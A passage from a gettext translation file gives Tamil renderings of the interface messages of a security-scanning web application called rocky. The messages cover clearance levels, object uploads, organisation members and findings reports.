can be selected for the normalizer to attach newly yielded OOIs \"\n\"to. If no input OOI was used for the raw file, a placeholder ExternalScan \"\n\"OOI can be used. ExternalScan OOIs can be created from the objects page. \"\n\"When a new version of the raw file is generated, the same ExternalScan OOI \"\n\"should be chosen to ensure that old results are overwritten.\"\nmsgstr \"\"\n\"புதிதாக வழங்கப்பட்ட OOI களை இணைக்க இயல்பாக்கத்திற்கு ஒரு உள்ளீட்டு OOI ஐத் \"\n\"தேர்ந்தெடுக்கலாம். மூல கோப்பிற்கு உள்ளீடு OOI எதுவும் பயன்படுத்தப்படவில்லை என்றால், ஒரு \"\n\"ஒதுக்கிட வெளிப்புறச்கான் OOI ஐப் பயன்படுத்தலாம். வெளிப்புறச்கான் OOIS ஐ பொருள் \"\n\"பக்கத்திலிருந்து உருவாக்க முடியும். மூல கோப்பின் புதிய பதிப்பு உருவாக்கப்படும்போது, \"\n\"பழைய முடிவுகள் மேலெழுதப்படுவதை உறுதிசெய்ய அதே வெளிப்புறச்கான் OOI ஐத் தேர்ந்தெடுக்க \"\n\"வேண்டும்.\"\n\n#: rocky/templates/upload_raw.html rocky/views/upload_raw.py\nmsgid \"Upload raw\"\nmsgstr \"பச்சையாக பதிவேற்றவும்\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"Getting raw data failed.\"\nmsgstr \"மூல தரவைப் பெறுவது தோல்வியடைந்தது.\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"The task does not have any raw data.\"\nmsgstr \"\"\n\n#: rocky/views/finding_list.py rocky/views/ooi_list.py\nmsgid \"Unknown action.\"\nmsgstr \"தெரியாத செயல்.\"\n\n#: rocky/views/health.py\nmsgid \"Beautified\"\nmsgstr \"அழகுபடுத்தப்பட்டது\"\n\n#: rocky/views/indemnification_add.py\nmsgid \"Indemnification successfully set.\"\nmsgstr \"இழப்பீடு வெற்றிகரமாக அமைக்கப்பட்டது.\"\n\n#: rocky/views/mixins.py\nmsgid \"The selected date is in the future.\"\nmsgstr \"தேர்ந்தெடுக்கப்பட்ட தேதி எதிர்காலத்தில் உள்ளது.\"\n\n#: rocky/views/mixins.py\nmsgid \"Can not parse date, falling back to show current date.\"\nmsgstr \"தேதியை அலச முடியாது, தற்போதைய தேதியைக் காட்ட மீண்டும் விழுகிறது.\"\n\n#: rocky/views/mixins.py\nmsgid \"You do not have the permission to add items to a dashboard.\"\nmsgstr \"டாச்போர்டில் உருப்படிகளைச் சேர்க்க உங்களுக்கு இசைவு இல்லை.\"\n\n#: rocky/views/mixins.py\nmsgid \"Dashboard item has been added.\"\nmsgstr \"டாச்போர்டு உருப்படி சேர்க்கப்பட்டுள்ளது.\"\n\n#: rocky/views/ooi_add.py\n#, python-format\nmsgid \"Add %(ooi_type)s\"\nmsgstr \"%(ooi_type)s சேர்க்கவும்\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"\"\n\"Cannot set clearance level. It must be provided and must be a valid number.\"\nmsgstr \"\"\n\"இசைவு அளவை அமைக்க முடியாது. இது வழங்கப்பட வேண்டும் மற்றும் செல்லுபடியாகும் எண்ணாக \"\n\"இருக்க வேண்டும்.\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Only Question OOIs can be answered.\"\nmsgstr \"கேள்வி OOIS க்கு மட்டுமே பதிலளிக்க முடியும்.\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Question has been answered.\"\nmsgstr \"கேள்விக்கு பதிலளிக்கப்பட்டுள்ளது.\"\n\n#: rocky/views/ooi_detail_related_object.py\nmsgid \" (as \"\nmsgstr \" (என \"\n\n#: rocky/views/ooi_findings.py\nmsgid \"Object findings\"\nmsgstr \"பொருள் கண்டுபிடிப்புகள்\"\n\n#: rocky/views/ooi_list.py\nmsgid \"No OOIs selected.\"\nmsgstr \"OOIS தேர்ந்தெடுக்கப்படவில்லை.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance levels to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"இசைவு அளவை L%s க்கு உயர்த்த முடியவில்லை. அமைப்பின் %s இல் இழப்பீடு இல்லை.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You were trusted a clearance level \"\n\"of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"இசைவு அளவை L%s க்கு உயர்த்த முடியவில்லை. எல்%s இசைவு நிலை நீங்கள் நம்பப்பட்டீர்கள். அதிக \"\n\"இசைவு பெற உங்கள் நிர்வாகியைத் தொடர்பு கொள்ளுங்கள்.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You acknowledged a clearance level \"\n\"of L%s. Please accept the clearance level below to proceed.\"\nmsgstr \"\"\n\"இசைவு அளவை L%s க்கு உயர்த்த முடியவில்லை. L%s இன் இசைவு அளவை நீங்கள் ஒப்புக்கொண்டீர்கள். \"\n\"தொடர கீழே உள்ள இசைவு அளவை ஏற்றுக்கொள்ளுங்கள்.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while saving clearance levels.\"\nmsgstr \"இசைவு நிலைகளைச் சேமிக்கும்போது பிழை ஏற்பட்டது.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"One of the OOI's doesn't exist\"\nmsgstr \"OOI இன் ஒன்று இல்லை\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set scan profile to %s for %d OOIs.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while setting clearance levels to inherit.\"\nmsgstr \"இசைவு நிலைகளை மரபுரிமையாக அமைக்கும் போது பிழை ஏற்பட்டது.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"\"\n\"An error occurred while setting clearance levels to inherit: one of the OOIs \"\n\"doesn't exist.\"\nmsgstr \"\"\n\"இசைவு நிலைகளை மரபுரிமையாக அமைக்கும் போது பிழை ஏற்பட்டது: OOIS இல் ஒன்று இல்லை.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set %d OOI(s) clearance level to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting oois.\"\nmsgstr \"OOIS ஐ நீக்கும்போது பிழை ஏற்பட்டது.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Successfully deleted %d ooi(s). Note: Bits can recreate objects \"\n\"automatically.\"\nmsgstr \"\"\n\"வெற்றிகரமாக நீக்கப்பட்டது %d ooi (கள்). குறிப்பு: பிட்கள் தானாக பொருட்களை மீண்டும் \"\n\"உருவாக்க முடியும்.\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Please select at least one finding.\"\nmsgstr \"குறைந்தது ஒரு கண்டுபிடிப்பைத் தேர்ந்தெடுக்கவும்.\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully unmuted.\"\nmsgstr \"கண்டறிதல் (கள்) வெற்றிகரமாக அன்மிடட்.\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully muted.\"\nmsgstr \"கண்டுபிடிப்பது (கள்) வெற்றிகரமாக முடக்கியது.\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Tree Visualisation\"\nmsgstr \"மரம் காட்சிப்படுத்தல்\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Graph Visualisation\"\nmsgstr \"வரைபட காட்சிப்படுத்தல்\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Observed_at: \"\nmsgstr \"கவனிக்கப்பட்டது_அட்: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"OOI types: \"\nmsgstr \"OOI வகைகள்: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance level: \"\nmsgstr \"இசைவு நிலை: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance type: \"\nmsgstr \"இசைவு வகை: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Searching for: \"\nmsgstr \"தேடுகிறது: \"\n\n#: rocky/views/organization_add.py\nmsgid \"Setup\"\nmsgstr \"அமைவு\"\n\n#: rocky/views/organization_add.py\nmsgid \"Organization added successfully.\"\nmsgstr \"அமைப்பு வெற்றிகரமாக சேர்க்கப்பட்டது.\"\n\n#: rocky/views/organization_add.py\nmsgid \"You are not allowed to add organizations.\"\nmsgstr \"நிறுவனங்களைச் சேர்க்க உங்களுக்கு இசைவு இல்லை.\"\n\n#: rocky/views/organization_edit.py\n#, python-format\nmsgid \"Organization %s successfully updated.\"\nmsgstr \"அமைப்பு %s வெற்றிகரமாக புதுப்பிக்கப்பட்டன.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Add column titles, followed by each object on a new line.\"\nmsgstr \"\"\n\"நெடுவரிசை தலைப்புகளைச் சேர், அதைத் தொடர்ந்து ஒவ்வொரு பொருளும் ஒரு புதிய வரியில்.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The columns are: \"\nmsgstr \"நெடுவரிசைகள்: \"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Clearance levels should be between -1 and 4.\"\nmsgstr \"இசைவு நிலைகள் -1 முதல் 4 வரை இருக்க வேண்டும்.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Account type can be one of: \"\nmsgstr \"கணக்கு வகை ஒன்றாகும்: \"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Member added successfully.\"\nmsgstr \"உறுப்பினர் வெற்றிகரமாகச் சேர்த்தார்.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The csv file is missing required columns\"\nmsgstr \"காபிம கோப்பு தேவையான நெடுவரிசைகளைக் காணவில்லை\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid account type: '{account_type}'\"\nmsgstr \"தவறான கணக்கு வகை: '{account_type}'\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid data for: '{email}'\"\nmsgstr \"இதற்கான தவறான தரவு: '{email}'\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid email address: '{email}'\"\nmsgstr \"தவறான மின்னஞ்சல் முகவரி: '{email}'\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Successfully processed users from csv.\"\nmsgstr \"காபிம இலிருந்து வெற்றிகரமாக பதப்படுத்தப்பட்ட பயனர்கள்.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Error parsing the csv file. Please verify its contents.\"\nmsgstr \"\"\n\"சி.எச்.வி கோப்பை பாகுபடுத்துவதில் பிழை. தயவுசெய்து அதன் உள்ளடக்கங்களை சரிபார்க்கவும்.\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"Member %s successfully updated.\"\nmsgstr \"உறுப்பினர் %s வெற்றிகரமாக புதுப்பிக்கப்பட்டன.\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"\"\n\"The updated trusted clearance level of L%s is lower then the member's \"\n\"acknowledged clearance level of L%s. This member only has clearance for \"\n\"level L%s. For this reason the acknowledged clearance level has been set at \"\n\"the same level as trusted clearance level.\"\nmsgstr \"\"\n\"L%s இன் புதுப்பிக்கப்பட்ட நம்பகமான இசைவு நிலை குறைவாக உள்ளது, பின்னர் உறுப்பினரின் \"\n\"ஒப்புக்கொள்ளப்பட்ட இசைவு நிலை L%s. இந்த உறுப்பினருக்கு நிலை L%s க்கு மட்டுமே இசைவு \"\n\"உள்ளது. இந்த காரணத்திற்காக ஒப்புக் கொள்ளப்பட்ட இசைவு நிலை நம்பகமான இசைவு மட்டத்தின் அதே \"\n\"மட்டத்தில் அமைக்கப்பட்டுள்ளது.\"\n\n#: rocky/views/organization_member_edit.py\nmsgid \"\"\n\"You have trusted this member with a higher trusted level than member \"\n\"acknowledged. Member must first accept this level to use it.\"\nmsgstr \"\"\n\"உறுப்பினர் ஒப்புக்கொண்டதை விட அதிக நம்பகமான மட்டத்துடன் இந்த உறுப்பினரை நீங்கள் \"\n\"நம்பியுள்ளீர்கள். இந்த நிலையை உறுப்பினர் முதலில் ஏற்றுக்கொள்ள வேண்டும்.\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Blocked member %s successfully.\"\nmsgstr \"தடுக்கப்பட்ட உறுப்பினர் %s வெற்றிகரமாக.\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Unblocked member %s successfully.\"\nmsgstr \"தடைசெய்யப்பட்ட உறுப்பினர் %s வெற்றிகரமாக.\"\n\n#: rocky/views/organization_settings.py\n#, python-brace-format\nmsgid \"Recalculated {number_of_bits} bits. Duration: {duration}\"\nmsgstr \"மறுபரிசீலனை செய்யப்பட்ட {number_of_bits} பிட்கள். காலம்: {duration}\"\n\n#: rocky/views/page_actions.py\nmsgid \"Could not process your request, action required.\"\nmsgstr \"உங்கள் கோரிக்கையை செயலாக்க முடியவில்லை, நடவடிக்கை தேவை.\"\n\n#: rocky/views/scan_profile.py\nmsgid \"\"\n\"Cannot set clearance level. The clearance type must be inherited or declared.\"\nmsgstr \"\"\n\n#: rocky/views/scans.py\nmsgid \"Scans\"\nmsgstr \"வருடல்கள்\"\n\n#: rocky/views/scheduler.py\nmsgid \"Your report has been scheduled.\"\nmsgstr \"உங்கள் அறிக்கை திட்டமிடப்பட்டுள்ளது.\"\n\n#: rocky/views/scheduler.py\nmsgid \"\"\n\"Your task is scheduled and will soon be started in the background. Results \"\n\"will be added to the object list when they are in. It may take some time, a \"\n\"refresh of the page may be needed to show the results.\"\nmsgstr \"\"\n\"உங்கள் பணி திட்டமிடப்பட்டுள்ளது, விரைவில் பின்னணியில் தொடங்கப்படும். முடிவுகள் அவை \"\n\"இருக்கும் போது பொருள் பட்டியலில் சேர்க்கப்படும். சிறிது நேரம் ஆகலாம், முடிவுகளைக் காட்ட \"\n\"பக்கத்தின் புதுப்பிப்பு தேவைப்படலாம்.\"\n\n#: rocky/views/tasks.py\n#, python-brace-format\nmsgid \"Fetching tasks failed: no connection with scheduler: {error}\"\nmsgstr \"பணிகளைப் பெறுவது தோல்வியுற்றது: திட்டமிடலுடன் எந்த தொடர்பும் இல்லை: {error}\"\n\n#: rocky/views/tasks.py\nmsgid \"All Tasks\"\nmsgstr \"அனைத்து பணிகளும்\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Add column titles. Followed by each object on a new line.\"\nmsgstr \"\"\n\"நெடுவரிசை தலைப்புகளைச் சேர்க்கவும். ஒவ்வொரு பொருளையும் ஒரு புதிய வரியில் அதைத் \"\n\"தொடர்ந்து.\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For URL object type, a column 'raw' with URL values is required, starting \"\n\"with http:// or https://, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"முகவரி பொருள் வகைக்கு, http: // அல்லது https: // உடன் தொடங்கி முகவரி மதிப்புகளுடன் \"\n\"'ரா' நெடுவரிசை தேவைப்படுகிறது, விருப்பமாக இரண்டாவது நெடுவரிசை 'பிணையம்' \"\n\"ஆதரிக்கப்படுகிறது \"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For Hostname object type, a column with 'name' values is required, \"\n\"optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"ஓச்ட்பெயர் பொருள் வகைக்கு, 'பெயர்' மதிப்புகளைக் கொண்ட ஒரு நெடுவரிசை தேவை, விருப்பமாக \"\n\"இரண்டாவது நெடுவரிசை 'பிணையம்' ஆதரிக்கப்படுகிறது \"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is \"\n\"required, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"ஐபாட்ரெச்.வி 4 மற்றும் ஐபாட்ரெச்.வி 6 பொருள் வகைகளுக்கு, 'முகவரி' ஒரு நெடுவரிசை \"\n\"தேவைப்படுகிறது, விருப்பமாக இரண்டாவது நெடுவரிசை 'பிணையம்' ஆதரிக்கப்படுகிறது \"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"Clearance levels can be controlled by a column 'clearance' taking numerical \"\n\"values 0, 1, 2, 3, and 4 for the corresponding clearance level (other values \"\n\"are ignored) \"\nmsgstr \"\"\n\"தொடர்புடைய இசைவு நிலைக்கு 0, 1, 2, 3, மற்றும் 4 என்ற எண் மதிப்புகளை எடுத்து 'இசைவு' \"\n\"நெடுவரிசை மூலம் இசைவு நிலைகளை கட்டுப்படுத்தலாம் (பிற மதிப்புகள் புறக்கணிக்கப்படுகின்றன) \"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) could not be created for row number(s): \"\nmsgstr \"பொருள்கள்) வரிசை எண்களுக்கு உருவாக்க முடியவில்லை): \"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) successfully added.\"\nmsgstr \"பொருள் (கள்) வெற்றிகரமாக சேர்க்கப்பட்டது.\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: status code %d\"\nmsgstr \"மூல கோப்பை பைட்டுகளில் பதிவேற்ற முடியவில்லை: நிலை குறியீடு %d\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: %s\"\nmsgstr \"மூல கோப்பை பைட்டுகளில் பதிவேற்ற முடியவில்லை: %s\"\n\n#: rocky/views/upload_raw.py\nmsgid \"Raw file successfully added.\"\nmsgstr \"மூல கோப்பு வெற்றிகரமாக சேர்க்கப்பட்டது.\"\n\n#~ msgid \"Clearance level has been set\"\n#~ msgstr \"இசைவு நிலை அமைக்கப்பட்டுள்ளது\"\n\n#~ msgid \"Add URL\"\n#~ msgstr \"முகவரி ஐச் சேர்க்கவும்\"\n\n#~ msgid \"\"\n#~ \"Boefjes that has a scan level below or equal to the clearance level, is \"\n#~ \"permitted to scan an object.\"\n#~ msgstr \"\"\n#~ \"கீழே அல்லது இசைவு நிலைக்கு சமமான ச்கேன் அளவைக் கொண்ட போஃப்செச், ஒரு பொருளை ச்கேன் \"\n#~ \"செய்ய அனுமதிக்கப்படுகிறது.\"\n\n#~ msgid \"Delete object(s)\"\n#~ msgstr \"பொருளை (களை) நீக்கு\"\n\n#~ msgid \"Declared clearance level explanation\"\n#~ msgstr \"அறிவிக்கப்பட்ட இசைவு நிலை விளக்கம்\"\n\n#~ msgid \"Declared:\"\n#~ msgstr \"அறிவிக்கப்பட்டது:\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"This means that this object will be scanned by Boefjes with scan level \"\n#~ \"%(scan_level)s and lower. Setting the clearance level from “declared” to \"\n#~ \"“inherit” means that this object will inherit its level from neighbouring \"\n#~ \"objects. This means that the clearance level might stay the same, \"\n#~ \"increase, or decrease depending on other declared clearance levels. \"\n#~ \"Clearance levels of objects that inherit from this clearance level will \"\n#~ \"also be recalculated.\"\n#~ msgstr \"\"\n#~ \"இதன் பொருள் இந்தப் பொருள் போஃப்செசால் வருடு நிலை %(scan_level)s மற்றும் அதற்கும் \"\n#~ \"குறைவாக வருடு செய்யப்படும். இசைவு அளவை “அறிவிக்கப்பட்ட” இலிருந்து “பரம்பரை” வரை \"\n#~ \"அமைப்பது என்பது இந்தப் பொருள் அதன் நிலையை அண்டை பொருட்களிலிருந்து பெறும் என்பதாகும். \"\n#~ \"இதன் பொருள், பிற அறிவிக்கப்பட்ட இசைவு நிலைகளைப் பொறுத்து இசைவு நிலை அப்படியே \"\n#~ \"இருக்கலாம், அதிகரிக்கலாம் அல்லது குறையக்கூடும். இந்த இசைவு மட்டத்திலிருந்து பெறும் \"\n#~ \"பொருட்களின் இசைவு நிலைகளும் மீண்டும் கணக்கிடப்படும்.\"\n\n#~ msgid \"Set clearance level to inherit\"\n#~ msgstr \"இசைவு அளவை மரபுரிமையாக அமைக்கவும்\"\n\n#~ msgid \"\"\n#~ \"This object has a clearance level of \\\"L0\\\". This means that this object \"\n#~ \"will not be scanned by any Boefje until that Boefje is run manually for \"\n#~ \"this object again. Objects with a clearance level higher than \\\"L0\\\" will \"\n#~ \"be scanned automatically by Boefjes with corresponding scan levels.\"\n#~ msgstr \"\"\n#~ \"இந்தப் பொருள் \\\"L0\\\" இன் இசைவு அளவைக் கொண்டுள்ளது. இந்தப் பொருளுக்கு மீண்டும் இந்தப் \"\n#~ \"பொருளுக்குக் கைமுறையாக இயங்கும் வரை இந்தப் பொருள் எந்த போஃப்சீயால் வருடு செய்யப்படாது \"\n#~ \"என்பதே இதன் பொருள். \\\"L0\\\" ஐ விட அதிகமான இசைவு அளவைக் கொண்ட பொருள்கள் தொடர்புடைய \"\n#~ \"வருடு அளவுகளுடன் போஃப்செசால் தானாகவே வருடு செய்யப்படும்.\"\n\n#~ msgid \"\"\n#~ \"You don't have permissions to set clearance level. Contact your \"\n#~ \"administrator.\"\n#~ msgstr \"\"\n#~ \"இசைவு அளவை அமைக்க உங்களுக்கு இசைவு இல்லை. உங்கள் நிர்வாகியைத் தொடர்பு கொள்ளுங்கள்.\"\n\n#~ msgid \"Set clearance level for:\"\n#~ msgstr \"இதற்கான இசைவு அளவை அமைக்கவும்:\"\n\n#~ msgid \"Setting the scan level from \\\\\"\n#~ msgstr \"\\\\ இலிருந்து ச்கேன் அளவை அமைத்தல்\"\n\n#~ msgid \"You are about to set the clearance level from \\\\\"\n#~ msgstr \"நீங்கள் இசைவு அளவை \\\\ இலிருந்து அமைக்க உள்ளீர்கள்\"\n\n#~ msgid \"Yes, set to inherit\"\n#~ msgstr \"ஆம், மரபுரிமையாக அமைக்கவும்\"\n\n#, python-format\n#~ msgid \"Successfully set scan profile to %s for %d oois.\"\n#~ msgstr \"வருடல் தன்விவரத்தை %s க்கு %d oois ஆக வெற்றிகரமாக அமைக்கப்பட்டது.\"\n\n#, python-format\n#~ msgid \"Successfully set %d ooi(s) clearance level to inherit.\"\n#~ msgstr \"வெற்றிகரமாக %d ooi (கள்) இசைவு அளவை மரபுரிமையாக அமைக்கவும்.\"\n\n#~ msgid \"\"\n#~ \"An error occurred while deleting oois: one of the OOIs doesn't exist.\"\n#~ msgstr \"OOIS ஐ நீக்கும்போது பிழை ஏற்பட்டது: OOIS இல் ஒன்று இல்லை.\"\n\n#, python-brace-format\n#~ msgid \"Can not reset scan level. Scan level of {ooi_name} not declared\"\n#~ msgstr \"\"\n#~ \"வருடல் அளவை மீட்டமைக்க முடியாது. {ooi_name} இன் வருடல் நிலை அறிவிக்கப்படவில்லை\"\n\n#~ msgid \"The Email must be set\"\n#~ msgstr \"மின்னஞ்சல் அமைக்கப்பட வேண்டும்\"\n\n#~ msgid \"E-mail address\"\n#~ msgstr \"மின்னஞ்சல் முகவரி\"\n\n#~ msgid \"\"\n#~ \"You don't have any clearance to scan objects. <br> Get in contact with \"\n#~ \"the admin to give you the necessary clearance level.\"\n#~ msgstr \"\"\n#~ \"பொருள்களை வருடு செய்ய உங்களுக்கு எந்த இசைவு இல்லை. <br> தேவையான இசைவு அளவை \"\n#~ \"உங்களுக்கு வழங்க நிர்வாகியுடன் தொடர்பு கொள்ளுங்கள்.\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        On this page you can see an overview of the \"\n#~ \"dashboards for all organizations.\\n\"\n#~ \"                        **More context can be written here**\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        இந்த பக்கத்தில் நீங்கள் அனைத்து நிறுவனங்களுக்கும் \"\n#~ \"டாச்போர்டுகளின் கண்ணோட்டத்தைக் காணலாம். \\n\"\n#~ \"** மேலும் சூழலை இங்கே எழுதலாம் **\\n\"\n#~ \"                    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            This table shows the findings that have been \"\n#~ \"identiefied for each organization,\\n\"\n#~ \"                            sorted by the finding types and grouped by \"\n#~ \"organizations.\\n\"\n#~ \"                            This data is based on the latest Crisis Room \"\n#~ \"Findings Report\\n\"\n#~ \"                            of each organization.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            இந்த அட்டவணை ஒவ்வொரு நிறுவனத்திற்கும் அடையாளம் \"\n#~ \"காணப்பட்ட கண்டுபிடிப்புகளைக் காட்டுகிறது, \\n\"\n#~ \"கண்டுபிடிப்பு வகைகளால் வரிசைப்படுத்தப்பட்டு நிறுவனங்களால் தொகுக்கப்பட்டுள்ளது. \\n\"\n#~ \"இந்த தரவு அண்மைக் கால நெருக்கடி அறை கண்டுபிடிப்புகள் அறிக்கையை அடிப்படையாகக் \"\n#~ \"கொண்டது \\n\"\n#~ \"ஒவ்வொரு அமைப்பிலும்.\\n\"\n#~ \"                        \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    No findings have been identified yet. As soon as they \"\n#~ \"have been\\n\"\n#~ \"                    identified, they will be shown on this page.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    கண்டுபிடிப்புகள் இதுவரை அடையாளம் காணப்படவில்லை. அவர்கள் \"\n#~ \"இருந்தவுடன் \\n\"\n#~ \"                    அடையாளம் காணப்பட்ட, அவை இந்தப் பக்கத்தில் காண்பிக்கப்படும்.\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                There are no organizations yet. After creating an \"\n#~ \"organization,\\n\"\n#~ \"                the identified findings will be shown here.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                இதுவரை எந்த அமைப்புகளும் இல்லை. ஒரு அமைப்பை உருவாக்கியபிறகு, \\n\"\n#~ \"                    அடையாளம் காணப்பட்ட கண்டுபிடிப்புகள் இங்கே காண்பிக்கப்படும்.\\n\"\n#~ \"            \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                This table shows the top 25 critical and high findings \"\n#~ \"that have\\n\"\n#~ \"                been identified for this organization, grouped by finding \"\n#~ \"types.\\n\"\n#~ \"                A table with all the identified findings can be found in \"\n#~ \"the Findings Report.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                இந்த அட்டவணை முதல் 25 முக்கியமான மற்றும் உயர் கண்டுபிடிப்புகளைக் \"\n#~ \"காட்டுகிறது \\n\"\n#~ \"                இந்த அமைப்புக்காக அடையாளம் காணப்பட்டது, வகைகளைக் கண்டுபிடிப்பதன் \"\n#~ \"மூலம் தொகுக்கப்பட்டுள்ளது. \\n\"\n#~ \"                அடையாளம் காணப்பட்ட அனைத்து கண்டுபிடிப்புகளையும் கொண்ட ஒரு \"\n#~ \"அட்டவணையைக் கண்டுபிடிப்புகள் அறிக்கையில் காணலாம்.\\n\"\n#~ \"            \"\n\n#~ msgid \"\"\n#~ \"The Mail Report provides an overview of the compliance checks associated \"\n#~ \"with e-mail servers. The current compliance checks the presence of SPF, \"\n#~ \"DKIM and DMARC records. The table below shows for each of these checks \"\n#~ \"how many of the identified mail servers are compliant, and if applicable \"\n#~ \"a compliance issue description and risk level. The risk level may be \"\n#~ \"different for your specific environment.\"\n#~ msgstr \"\"\n#~ \"அஞ்சல் அறிக்கை மின்னஞ்சல் சேவையகங்களுடன் தொடர்புடைய இணக்க காசோலைகளின் கண்ணோட்டத்தை \"\n#~ \"வழங்குகிறது. தற்போதைய இணக்கம் SPF, DKIM மற்றும் DMARC பதிவுகளின் இருப்பை \"\n#~ \"சரிபார்க்கிறது. இந்த ஒவ்வொன்றிற்கும் கீழேயுள்ள அட்டவணை காட்டுகிறது, அடையாளம் காணப்பட்ட \"\n#~ \"அஞ்சல் சேவையகங்கள் எத்தனை இணக்கமானவை என்பதை சரிபார்க்கிறது, மேலும் பொருந்தினால் இணக்க \"\n#~ \"சிக்கல் விளக்கம் மற்றும் இடர் நிலை. உங்கள் குறிப்பிட்ட சூழலுக்கு இடர் நிலை \"\n#~ \"வேறுபட்டிருக்கலாம்.\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            This table provides an overview of the identified findings on \"\n#~ \"the scanned\\n\"\n#~ \"            systems. For each finding type it shows the risk level, the \"\n#~ \"number of occurrences\\n\"\n#~ \"            and the first known occurrence of the finding. The risk level \"\n#~ \"may be different for your specific environment.\\n\"\n#~ \"            The details can be seen when expanding a row. A description, \"\n#~ \"the source, impact and recommendation of the finding\\n\"\n#~ \"            can be found here. It also shows in which findings the \"\n#~ \"finding type occurred.\\n\"\n#~ \"        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"            இந்த அட்டவணை வருடு செய்யப்பட்ட கண்டறிந்த கண்டுபிடிப்புகளின் கண்ணோட்டத்தை \"\n#~ \"வழங்குகிறது \\n\"\n#~ \"அமைப்புகள். ஒவ்வொரு கண்டுபிடிப்பு வகைக்கும் இது இடர் நிலை, நிகழ்வுகளின் எண்ணிக்கை \"\n#~ \"ஆகியவற்றைக் காட்டுகிறது \\n\"\n#~ \"கண்டுபிடிப்பின் முதல் அறியப்பட்ட நிகழ்வு. உங்கள் குறிப்பிட்ட சூழலுக்கு இடர் நிலை \"\n#~ \"வேறுபட்டிருக்கலாம். \\n\"\n#~ \"ஒரு வரிசையை விரிவுபடுத்தும்போது விவரங்களைக் காணலாம். ஒரு விளக்கம், கண்டுபிடிப்பின் \"\n#~ \"மூல, தாக்கம் மற்றும் பரிந்துரை \\n\"\n#~ \"இங்கே காணலாம். கண்டுபிடிப்பு வகை எந்த கண்டுபிடிப்புகள் நிகழ்ந்தன என்பதையும் இது \"\n#~ \"காட்டுகிறது.\\n\"\n#~ \"        \"\n\n#~ msgid 